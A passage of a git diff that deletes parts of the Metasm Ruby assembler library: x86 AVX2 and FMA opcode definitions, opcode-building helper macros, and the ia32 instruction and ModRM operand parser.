256, 0x66, 0x0F38, 0], 0x58, :mrmymm - addop_vex 'vpbroadcastq', [nil, 128, 0x66, 0x0F38, 0], 0x59, :mrmxmm - addop_vex 'vpbroadcastq', [nil, 256, 0x66, 0x0F38, 0], 0x59, :mrmymm - addop_vex 'vpermd', [1, 256, 0x66, 0x0F38, 0], 0x36, :mrmymm - addop_vex 'vpermpd', [nil, 256, 0x66, 0x0F3A, 1], 0x01, :mrmymm, :u8 - addop_vex 'vpermps', [1, 256, 0x66, 0x0F38, 0], 0x16, :mrmymm, :u8 - addop_vex 'vpermq', [nil, 256, 0x66, 0x0F3A, 1], 0x00, :mrmymm, :u8 - addop_vex 'vperm2i128', [1, 256, 0x66, 0x0F3A, 0], 0x46, :mrmymm, :u8 - addop_vex 'vextracti128', [nil, 256, 0x66, 0x0F3A, 0], 0x39, :mrmymm, :u8 - addop_vex 'vinserti128', [1, 256, 0x66, 0x0F3A, 0], 0x38, :mrmymm, :u8 - addop_vex 'vpmaskmovd', [1, 128, 0x66, 0x0F38, 0], 0x8C, :mrmxmm, :modrmA - addop_vex 'vpmaskmovd', [1, 256, 0x66, 0x0F38, 0], 0x8C, :mrmymm, :modrmA - addop_vex 'vpmaskmovq', [1, 128, 0x66, 0x0F38, 1], 0x8C, :mrmxmm, :modrmA - addop_vex 'vpmaskmovq', [1, 256, 0x66, 0x0F38, 1], 0x8C, :mrmymm, :modrmA - addop_vex('vpmaskmovd', [1, 128, 0x66, 0x0F38, 0], 0x8E, :mrmxmm, :modrmA) { |o| o.args.reverse! } - addop_vex('vpmaskmovd', [1, 256, 0x66, 0x0F38, 0], 0x8E, :mrmymm, :modrmA) { |o| o.args.reverse! } - addop_vex('vpmaskmovq', [1, 128, 0x66, 0x0F38, 1], 0x8E, :mrmxmm, :modrmA) { |o| o.args.reverse! } - addop_vex('vpmaskmovq', [1, 256, 0x66, 0x0F38, 1], 0x8E, :mrmymm, :modrmA) { |o| o.args.reverse! } - addop_vex 'vpsllvd', [1, 128, 0x66, 0x0F38, 0], 0x47, :mrmxmm - addop_vex 'vpsllvq', [1, 128, 0x66, 0x0F38, 1], 0x47, :mrmxmm - addop_vex 'vpsllvd', [1, 256, 0x66, 0x0F38, 0], 0x47, :mrmymm - addop_vex 'vpsllvq', [1, 256, 0x66, 0x0F38, 1], 0x47, :mrmymm - addop_vex 'vpsravd', [1, 128, 0x66, 0x0F38, 0], 0x46, :mrmxmm - addop_vex 'vpsravd', [1, 256, 0x66, 0x0F38, 0], 0x46, :mrmymm - addop_vex 'vpsrlvd', [1, 128, 0x66, 0x0F38, 0], 0x45, :mrmxmm - addop_vex 'vpsrlvq', [1, 128, 0x66, 0x0F38, 1], 0x45, :mrmxmm - addop_vex 'vpsrlvd', [1, 256, 0x66, 0x0F38, 0], 0x45, :mrmymm - addop_vex 'vpsrlvq', [1, 256, 0x66, 0x0F38, 1], 0x45, :mrmymm - - addop_vex('vpgatherdd', [2, 128, 0x66, 0x0F38, 0], 0x90, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } - addop_vex('vpgatherdd', [2, 256, 0x66, 0x0F38, 0], 0x90, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } - addop_vex('vpgatherdq', [2, 128, 0x66, 0x0F38, 1], 0x90, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } - addop_vex('vpgatherdq', [2, 256, 0x66, 0x0F38, 1], 0x90, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } - addop_vex('vpgatherqd', [2, 128, 0x66, 0x0F38, 0], 0x91, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } - addop_vex('vpgatherqd', [2, 256, 0x66, 0x0F38, 0], 0x91, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } - addop_vex('vpgatherqq', [2, 128, 0x66, 0x0F38, 1], 0x91, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } - addop_vex('vpgatherqq', [2, 256, 0x66, 0x0F38, 1], 0x91, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } - addop_vex('vgatherdps', [2, 128, 0x66, 0x0F38, 0], 0x92, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } - addop_vex('vgatherdps', [2, 256, 0x66, 0x0F38, 0], 0x92, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } - addop_vex('vgatherdpd', [2, 128, 0x66, 0x0F38, 1], 0x92, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } - addop_vex('vgatherdpd', [2, 256, 0x66, 0x0F38, 1], 0x92, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } - addop_vex('vgatherqps', [2, 128, 0x66, 0x0F38, 0], 0x93, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 } - addop_vex('vgatherqps', [2, 256, 0x66, 0x0F38, 0], 0x93, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 } - addop_vex('vgatherqpd', [2, 128, 0x66, 0x0F38, 1], 0x93, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 } - addop_vex('vgatherqpd', [2, 256, 0x66, 0x0F38, 1], 0x93, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 } - end - - def init_fma_only - init_cpu_constants - - [['vfmaddsub', 'p', 0x86], - ['vfmsubadd', 'p', 0x87], - ['vfmadd', 'p', 0x88], - ['vfmadd', 's', 0x89], - ['vfmsub', 'p', 0x8A], - ['vfmsub', 's', 0x8B], - ['vfnmadd', 'p', 0x8C], - ['vfnmadd', 's', 0x8D], - ['vfnmsub', 'p', 0x8E], - ['vfnmsub', 's', 0x8F]].each { |n1, n2, bin| - addop_vex n1 + '132' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x10, :mrmxmm - addop_vex n1 + '132' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x10, :mrmymm - addop_vex n1 + '132' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x10, :mrmxmm - addop_vex n1 + '132' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x10, :mrmymm - addop_vex n1 + '213' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x20, :mrmxmm - addop_vex n1 + '213' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x20, :mrmymm - addop_vex n1 + '213' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x20, :mrmxmm - addop_vex n1 + '213' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x20, :mrmymm - addop_vex n1 + '231' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x30, :mrmxmm - addop_vex n1 + '231' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x30, :mrmymm - addop_vex n1 + '231' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x30, :mrmxmm - addop_vex n1 + '231' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x30, :mrmymm - - # pseudo-opcodes aliases (swap arg0/arg1) - addop_vex(n1 + '312' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x10, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '312' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x10, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '312' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x10, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '312' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x10, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '123' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x20, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '123' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x20, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '123' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x20, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '123' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x20, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '321' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x30, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '321' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x30, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '321' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x30, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - addop_vex(n1 + '321' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x30, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse } - } - end - - # - # CPU family dependencies - # - - def init_386_common - init_386_common_only - end - - def init_386 - init_386_common - init_386_only - end - - def init_387 - init_387_only - end - - def init_486 - init_386 - init_387 - init_486_only - end - - def init_pentium - init_486 - init_pentium_only - end - - def init_3dnow - init_pentium - init_3dnow_only - end - - def init_p6 - init_pentium - init_p6_only - end - - def init_sse - init_p6 - init_sse_only - end - - def init_sse2 - init_sse - init_sse2_only - end - - def init_sse3 - init_sse2 - init_sse3_only - end - - def init_ssse3 - init_sse3 - init_ssse3_only - end - - def init_sse41 - init_ssse3 - init_sse41_only - end - - def init_sse42 - init_sse41 - init_sse42_only - end - - def init_avx - init_sse42 - init_avx_only - end - - def init_avx2 - init_avx - init_fma_only - init_avx2_only - end - - def init_all - init_avx2 - init_3dnow_only - init_vmx_only - init_aesni_only - end - - alias init_latest init_all - - - # - # addop_* macros - # - - def addop_macro1(name, num, *props) - addop name, [(num << 3) | 4], nil, {:w => [0, 0]}, :reg_eax, :i, *props - addop(name, [num << 3], :mrmw, {:d => [0, 1]}) { |o| o.args.reverse! } - addop name, [0x80], num, {:w => [0, 0], :s => [0, 1]}, :i, *props - end - def addop_macro2(name, num) - addop name, [0x0F, 0xBA], (4 | num), :u8 - addop(name, [0x0F, 0xA3 | (num << 3)], :mrm) { |op| op.args.reverse! } - end - def addop_macro3(name, num) - addop name, [0xD0], num, {:w => [0, 0]}, :imm_val1 - addop name, [0xD2], num, {:w => [0, 0]}, :reg_cl - addop name, [0xC0], num, {:w => [0, 0]}, :u8 - end - - def addop_macrotttn(name, bin, hint, *props, &blk) - [%w{o}, %w{no}, %w{b nae c}, %w{nb ae nc}, - %w{z e}, %w{nz ne}, %w{be na}, %w{nbe a}, - %w{s}, %w{ns}, %w{p pe}, %w{np po}, - %w{l nge}, %w{nl ge}, %w{le ng}, %w{nle g}].each_with_index { |e, i| - b = bin.dup - if b[0] == 0x0F - b[1] |= i - else - b[0] |= i - end - - e.each { |k| addop(name + k, b.dup, hint, *props, &blk) } - } - end - - def addop_macrostr(name, bin, type) - # addop(name, bin.dup, {:w => [0, 0]}) { |o| o.props[type] = true } # TODO allow segment override - addop(name+'b', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } - addop(name+'b', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } - bin = bin.dup - bin[0] |= 1 - addop(name+'w', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } - addop(name+'d', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } - end - - def addop_macrofpu1(name, n) - addop(name, [0xD8, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } - addop(name, [0xDC, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } - addop(name, [0xD8, 0xC0|(n<<3)], :regfp, {:d => [0, 2]}) { |o| o.args.reverse! } - end - def addop_macrofpu2(name, n, n2=0) - addop(name, [0xDE|n2, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 16 } - addop(name, [0xDA|n2, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } - end - def addop_macrofpu3(name, n) - addop_macrofpu2 name, n, 1 - addop(name, [0xDF, 0x28|(n<<3)], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } - end - - def addop_macrogg(ggrng, name, bin, *args, &blk) - ggoff = 1 - ggoff = 2 if bin[1] == 0x38 or bin[1] == 0x3A - ggrng.each { |gg| - bindup = bin.dup - bindup[ggoff] |= gg - sfx = %w(b w d q)[gg] - addop name+sfx, bindup, *args, &blk - } - end - - def addop_macrossps(name, bin, hint, *a) - addop name, bin.dup, hint, *a - addop(name.sub(/ps$/, 'ss'), bin.dup, hint, *a) { |o| o.props[:needpfx] = 0xF3 } - end - - def addop_macrosdpd(name, bin, hint, *a) - addop(name, bin.dup, hint, *a) { |o| o.props[:needpfx] = 0x66 } - addop(name.sub(/pd$/, 'sd'), bin.dup, hint, *a) { |o| o.props[:needpfx] = 0xF2 } - end - - # special ret (iret/retf), that still default to 32b mode in x64 - def addop_macroret(name, bin, *args) - addop(name + '.i32', bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 32 } - addop(name + '.i16', bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 16 } if name != 'sysret' - addop(name, bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = @size } - end - - # add an AVX instruction needing a VEX prefix (c4h/c5h) - # the prefix is hardcoded - def addop_vex(name, vexspec, bin, *args) - argnr = vexspec.shift - argt = vexspec.shift if argnr and vexspec.first.kind_of?(::Symbol) - l = vexspec.shift - pfx = vexspec.shift - of = vexspec.shift - w = vexspec.shift - argt ||= (l == 128 ? :vexvxmm : :vexvymm) - - lpp = ((l >> 8) << 2) | [nil, 0x66, 0xF3, 0xF2].index(pfx) - mmmmm = [nil, 0x0F, 0x0F38, 0x0F3A].index(of) - - c4bin = [0xC4, mmmmm, lpp, bin] - c4bin[1] |= 1 << 7 if @size != 64 - c4bin[1] |= 1 << 6 if @size != 64 - c4bin[2] |= 1 << 7 if w == 1 - c4bin[2] |= 0xF << 3 if not argnr - - addop(name, c4bin, *args) { |o| - o.args.insert(argnr, argt) if argnr - - o.fields[:vex_r] = [1, 7] if @size == 64 - o.fields[:vex_x] = [1, 6] if @size == 64 - o.fields[:vex_b] = [1, 5] - o.fields[:vex_w] = [2, 7] if not w - o.fields[:vex_vvvv] = [2, 3] if argnr - - yield o if block_given? - } - - return if w == 1 or mmmmm != 1 - - c5bin = [0xC5, lpp, bin] - c5bin[1] |= 1 << 7 if @size != 64 - c5bin[1] |= 0xF << 3 if not argnr - - addop(name, c5bin, *args) { |o| - o.args.insert(argnr, argt) if argnr - - o.fields[:vex_r] = [1, 7] if @size == 64 - o.fields[:vex_vvvv] = [1, 3] if argnr - - yield o if block_given? - } - end - - # helper function: creates a new Opcode based on the arguments, eventually - # yields it for further customisation, and append it to the instruction set - # is responsible of the creation of disambiguating opcodes if necessary (:s flag hardcoding) - def addop(name, bin, hint=nil, *argprops) - fields = (argprops.first.kind_of?(Hash) ? argprops.shift : {}) - op = Opcode.new name, bin - op.fields.replace fields - - case hint - when nil - - when :mrm, :mrmw, :mrmA - op.fields[:reg] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - op.fields[:w] = [bin.length - 1, 0] if hint == :mrmw - argprops.unshift :reg, :modrm - argprops << :modrmA if hint == :mrmA - op.bin << 0 - when :reg - op.fields[:reg] = [bin.length-1, 0] - argprops.unshift :reg - when :regfp - op.fields[:regfp] = [bin.length-1, 0] - argprops.unshift :regfp, :regfp0 - when :modrmA - op.fields[:modrm] = [bin.length-1, 0] - argprops << :modrm << :modrmA - - when Integer # mod/m, reg == opcode extension = hint - op.fields[:modrm] = [bin.length, 0] - op.bin << (hint << 3) - argprops.unshift :modrm - - when :mrmmmx - op.fields[:regmmx] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - bin << 0 - argprops.unshift :regmmx, :modrmmmx - when :mrmxmm - op.fields[:regxmm] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - bin << 0 - argprops.unshift :regxmm, :modrmxmm - when :mrmymm - op.fields[:regymm] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - bin << 0 - argprops.unshift :regymm, :modrmymm - else - raise SyntaxError, "invalid hint #{hint.inspect} for #{name}" - end - - argprops.each { |a| - op.props[a] = true if @valid_props[a] - op.args << a if @valid_args[a] - } - - yield op if block_given? - - if $DEBUG - argprops -= @valid_props.keys + @valid_args.keys - raise "Invalid opcode definition: #{name}: unknown #{argprops.inspect}" unless argprops.empty? - - argprops = (op.props.keys - @valid_props.keys) + (op.args - @valid_args.keys) + (op.fields.keys - @fields_mask.keys) - raise "Invalid opcode customisation: #{name}: #{argprops.inspect}" unless argprops.empty? - end - - addop_post(op) - end - - # this recursive method is in charge of Opcode duplication (eg to hardcode some flag) - def addop_post(op) - if df = op.fields.delete(:d) - # hardcode the bit - dop = op.dup - addop_post dop - - op.bin[df[0]] |= 1 << df[1] - op.args.reverse! - addop_post op - - return - elsif wf = op.fields.delete(:w) - # hardcode the bit - dop = op.dup - dop.props[:argsz] = 8 - # 64-bit w=0 s=1 => UD - dop.fields.delete(:s) if @size == 64 - addop_post dop - - op.bin[wf[0]] |= 1 << wf[1] - addop_post op - - return - elsif sf = op.fields.delete(:s) - # add explicit choice versions, with lower precedence (so that disassembling will return the general version) - # eg "jmp", "jmp.i8", "jmp.i" - # also hardcode the bit - op32 = op - addop_post op32 - - op8 = op.dup - op8.bin[sf[0]] |= 1 << sf[1] - op8.args.map! { |arg| arg == :i ? :i8 : arg } - addop_post op8 - - op32 = op32.dup - op32.name << '.i' - addop_post op32 - - op8 = op8.dup - op8.name << '.i8' - addop_post op8 - - return - elsif op.args.first == :regfp0 - dop = op.dup - dop.args.delete :regfp0 - addop_post dop - end - - if op.props[:needpfx] - @opcode_list.unshift op - else - @opcode_list << op - end - - if (op.args == [:i] or op.args == [:farptr] or op.name == 'ret') and op.name !~ /\.i/ - # define opsz-override version for ambiguous opcodes - op16 = op.dup - op16.name << '.i16' - op16.props[:opsz] = 16 - @opcode_list << op16 - op32 = op.dup - op32.name << '.i32' - op32.props[:opsz] = 32 - @opcode_list << op32 - elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or - op.args.include? :modrm or op.name =~ /loop|xlat/ - # define adsz-override version for ambiguous opcodes (TODO allow movsd edi / movsd di syntax) - # XXX loop pfx 67 = eip+cx, 66 = ip+ecx - op16 = op.dup - op16.name << '.a16' - op16.props[:adsz] = 16 - @opcode_list << op16 - op32 = op.dup - op32.name << '.a32' - op32.props[:adsz] = 32 - @opcode_list << op32 - end - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/parse.rb b/lib/metasm/metasm/cpu/ia32/parse.rb deleted file mode 100644 index 1d32f5db9e..0000000000 --- a/lib/metasm/metasm/cpu/ia32/parse.rb +++ /dev/null @@ -1,359 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/opcodes' -require 'metasm/cpu/ia32/encode' -require 'metasm/parse' - -module Metasm -class Ia32 -class ModRM - # may return a SegReg - # must be called before SegReg parser (which could match only the seg part of a modrm) - def self.parse(lexer, otok, cpu) - tok = otok - - # read operand size specifier - if tok and tok.type == :string and tok.raw =~ /^(?:byte|[dqo]?word|_(\d+)bits)$/ - ptsz = - if $1 - $1.to_i - else - case tok.raw - when 'byte'; 8 - when 'word'; 16 - when 'dword'; 32 - when 'qword'; 64 - when 'oword'; 128 - else raise otok, 'mrm: bad ptr size' - end - end - lexer.skip_space - if tok = lexer.readtok and tok.type == :string and tok.raw == 'ptr' - lexer.skip_space - tok = lexer.readtok - end - end - - # read segment selector - if tok and tok.type == :string and seg = SegReg.s_to_i[tok.raw] - lexer.skip_space - seg = SegReg.new(seg) - if not ntok = lexer.readtok or ntok.type != :punct or ntok.raw != ':' - raise otok, 'invalid modrm' if ptsz - lexer.unreadtok ntok - return seg - end - lexer.skip_space - tok = lexer.readtok - end - - # ensure we have a modrm - if not tok or tok.type != :punct or tok.raw != '[' - raise otok, 'invalid modrm' if ptsz or seg - return - end - lexer.skip_space_eol - - # support fasm syntax [fs:eax] for segment selector - if tok = lexer.readtok and tok.type == :string and not seg and seg = SegReg.s_to_i[tok.raw] - raise otok, 'invalid modrm' if not ntok = lexer.readtok or ntok.type != :punct or ntok.raw != ':' - seg = SegReg.new(seg) - lexer.skip_space_eol - else - lexer.unreadtok tok - end - - # read modrm content as generic expression - content = Expression.parse(lexer) - lexer.skip_space_eol - raise(otok, 'bad modrm') if not content or not ntok = lexer.readtok or ntok.type != :punct or ntok.raw != ']' - - # converts matching externals to Regs in an expression - regify = lambda { |o| - case o - when Expression - o.lexpr = regify[o.lexpr] - o.rexpr = regify[o.rexpr] - o - when String - cpu.str_to_reg(o) || o - else o - end - } - - s = i = b = imm = nil - - # assigns the Regs in the expression to base or index field of the modrm - walker = lambda { |o| - case o - when nil - when Reg - if b - raise otok, 'mrm: too many regs' if i - i = o - s = 1 - else - b = o - end - when SimdReg - raise otok, 'mrm: too many regs' if i - i = o - s = 1 - when Expression - if o.op == :* and (o.rexpr.kind_of?(Reg) or o.lexpr.kind_of?(Reg)) - # scaled index - raise otok, 'mrm: too many indexes' if i - s = o.lexpr - i = o.rexpr - s, i = i, s if s.kind_of? Reg - raise otok, "mrm: bad scale #{s}" unless [1, 2, 4, 8].include?(s) - elsif o.op == :+ - # recurse - walker[o.lexpr] - walker[o.rexpr] - else - # found (a part of) the immediate - imm = Expression[imm, :+, o] - end - else - # found (a part of) the immediate - imm = Expression[imm, :+, o] - end - } - - # do it - walker[regify[content.reduce]] - - # ensure found immediate is really an immediate - raise otok, 'mrm: reg in imm' if imm.kind_of?(Expression) and not imm.externals.grep(Reg).empty? - - raise otok, 'mrm: bad reg size' if b.kind_of?(Reg) and i.kind_of?(Reg) and b.sz != i.sz - - # find default address size - adsz = b ? b.sz : i ? i.sz : nil - # ptsz may be nil now, will be fixed up later (in parse_instr_fixup) to match another instruction argument's size - new adsz, ptsz, s, i, b, imm, seg - end -end - - - # handles cpu-specific parser instruction, falls back to Ancestor's version if unknown keyword - # XXX changing the cpu size in the middle of the code may have baaad effects... - def parse_parser_instruction(lexer, instr) - case instr.raw.downcase - when '.mode', '.bits' - lexer.skip_space - if tok = lexer.readtok and tok.type == :string and (tok.raw == '16' or tok.raw == '32') - @size = tok.raw.to_i - lexer.skip_space - raise instr, 'syntax error' if ntok = lexer.nexttok and ntok.type != :eol - else - raise instr, 'invalid cpu mode' - end - else super(lexer, instr) - end - end - - def parse_prefix(i, pfx) - # implicit 'true' return value when assignment occur - i.prefix ||= {} - case pfx - when 'lock'; i.prefix[:lock] = true - when 'rep'; i.prefix[:rep] = 'rep' - when 'repe', 'repz'; i.prefix[:rep] = 'repz' - when 'repne', 'repnz'; i.prefix[:rep] = 'repnz' - when 'code16'; i.prefix[:sz] = 16 - when 'code32'; i.prefix[:sz] = 32 - when 'hintjmp', 'ht'; i.prefix[:jmphint] = 'hintjmp' - when 'hintnojmp', 'hnt';i.prefix[:jmphint] = 'hintnojmp' - when /^seg_([c-g]s)$/; i.prefix[:seg] = SegReg.new(SegReg.s_to_i[$1]) - end - end - - def parse_argregclasslist - [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg] - end - def parse_modrm(lex, tok, cpu) - ModRM.parse(lex, tok, cpu) - end - - # parses an arbitrary ia32 instruction argument - def parse_argument(lexer) - lexer = AsmPreprocessor.new(lexer) if lexer.kind_of? String - - # reserved names (registers/segments etc) - @args_token ||= parse_argregclasslist.map { |a| a.s_to_i.keys }.flatten.inject({}) { |h, e| h.update e => true } - - lexer.skip_space - return if not tok = lexer.readtok - - if tok.type == :string and tok.raw == 'ST' - lexer.skip_space - if ntok = lexer.readtok and ntok.type == :punct and ntok.raw == '(' - lexer.skip_space - if not nntok = lexer.readtok or nntok.type != :string or nntok.raw !~ /^[0-9]$/ or - not ntok = (lexer.skip_space; lexer.readtok) or ntok.type != :punct or ntok.raw != ')' - raise tok, 'invalid FP register' - else - tok.raw << '(' << nntok.raw << ')' - fpr = parse_argregclasslist.last - if fpr.s_to_i.has_key? tok.raw - return fpr.new(fpr.s_to_i[tok.raw]) - else - raise tok, 'invalid FP register' - end - end - else - lexer.unreadtok ntok - end - end - - if ret = parse_modrm(lexer, tok, self) - ret - elsif @args_token[tok.raw] - parse_argregclasslist.each { |a| - return a.from_str(tok.raw) if a.s_to_i.has_key? tok.raw - } - raise tok, 'internal error' - else - lexer.unreadtok tok - expr = Expression.parse(lexer) - lexer.skip_space - - # may be a farptr - if expr and ntok = lexer.readtok and ntok.type == :punct and ntok.raw == ':' - raise tok, 'invalid farptr' if not addr = Expression.parse(lexer) - Farptr.new expr, addr - else - lexer.unreadtok ntok - Expression[expr.reduce] if expr - end - end - end - - # check if the argument matches the opcode's argument spec - def parse_arg_valid?(o, spec, arg) - if o.name == 'movsx' or o.name == 'movzx' - if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM) - return - elsif not arg.sz - puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE - return - elsif spec == :reg # reg=dst, modrm=src (smaller) - return (arg.kind_of?(Reg) and arg.sz >= 16) - elsif o.props[:argsz] - return arg.sz == o.props[:argsz] - else - return arg.sz == 16 - end - elsif o.name == 'crc32' - if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM) - return - elsif not arg.sz - puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE - return - elsif spec == :reg - return (arg.kind_of?(Reg) and arg.sz >= 32) - elsif o.props[:argsz] - return arg.sz == o.props[:argsz] - else - return arg.sz >= 16 - end - end - - return false if arg.kind_of? ModRM and arg.adsz and o.props[:adsz] and arg.adsz != o.props[:adsz] - - cond = true - if s = o.props[:argsz] and (arg.kind_of? Reg or arg.kind_of? ModRM) - cond = (!arg.sz or arg.sz == s or spec == :reg_dx) - end - - cond and - case spec - when :reg; arg.kind_of? Reg and (arg.sz >= 16 or o.props[:argsz]) - when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz]) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? Reg) - when :i; arg.kind_of? Expression - when :imm_val1; arg.kind_of? Expression and arg.reduce == 1 - when :imm_val3; arg.kind_of? Expression and arg.reduce == 3 - when :reg_eax; arg.kind_of? Reg and arg.val == 0 - when :reg_cl; arg.kind_of? Reg and arg.val == 1 and arg.sz == 8 - when :reg_dx; arg.kind_of? Reg and arg.val == 2 and arg.sz == 16 - when :seg3; arg.kind_of? SegReg - when :seg3A; arg.kind_of? SegReg and arg.val > 3 - when :seg2; arg.kind_of? SegReg and arg.val < 4 - when :seg2A; arg.kind_of? SegReg and arg.val < 4 and arg.val != 1 - when :eeec; arg.kind_of? CtrlReg - when :eeed; arg.kind_of? DbgReg - when :eeet; arg.kind_of? TstReg - when :mrm_imm; arg.kind_of? ModRM and not arg.s and not arg.i and not arg.b - when :farptr; arg.kind_of? Farptr - when :regfp; arg.kind_of? FpReg - when :regfp0; arg.kind_of? FpReg and (arg.val == nil or arg.val == 0) - when :modrmmmx; arg.kind_of? ModRM or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) - when :regmmx; arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx])) - when :modrmxmm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 128) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) - when :regxmm; arg.kind_of? SimdReg and arg.sz == 128 - when :modrmymm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 256) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg) - when :regymm; arg.kind_of? SimdReg and arg.sz == 256 - - when :vexvreg; arg.kind_of? Reg and arg.sz == @size - when :vexvxmm, :i4xmm; arg.kind_of? SimdReg and arg.sz == 128 - when :vexvymm, :i4ymm; arg.kind_of? SimdReg and arg.sz == 256 - - when :i8, :u8, :u16 - arg.kind_of? Expression and - (o.props[:setip] or Expression.in_range?(arg, spec) != false) # true or nil allowed - # jz 0x28282828 may fit in :i8 depending on instr addr - else raise EncodeError, "Internal error: unknown argument specification #{spec.inspect}" - end - end - - def parse_instruction_checkproto(i) - case i.opname - when 'imul' - if i.args.length == 2 and i.args.first.kind_of? Reg and i.args.last.kind_of? Expression - i.args.unshift i.args.first.dup - end - end - super(i) - end - - # fixup the sz of a modrm argument, defaults to other argument size or current cpu mode - def parse_instruction_fixup(i) - if m = i.args.grep(ModRM).first and not m.sz - if i.opname == 'movzx' or i.opname == 'movsx' - m.sz = 8 - else - if r = i.args.grep(Reg).first - m.sz = r.sz - elsif l = opcode_list_byname[i.opname].map { |o| 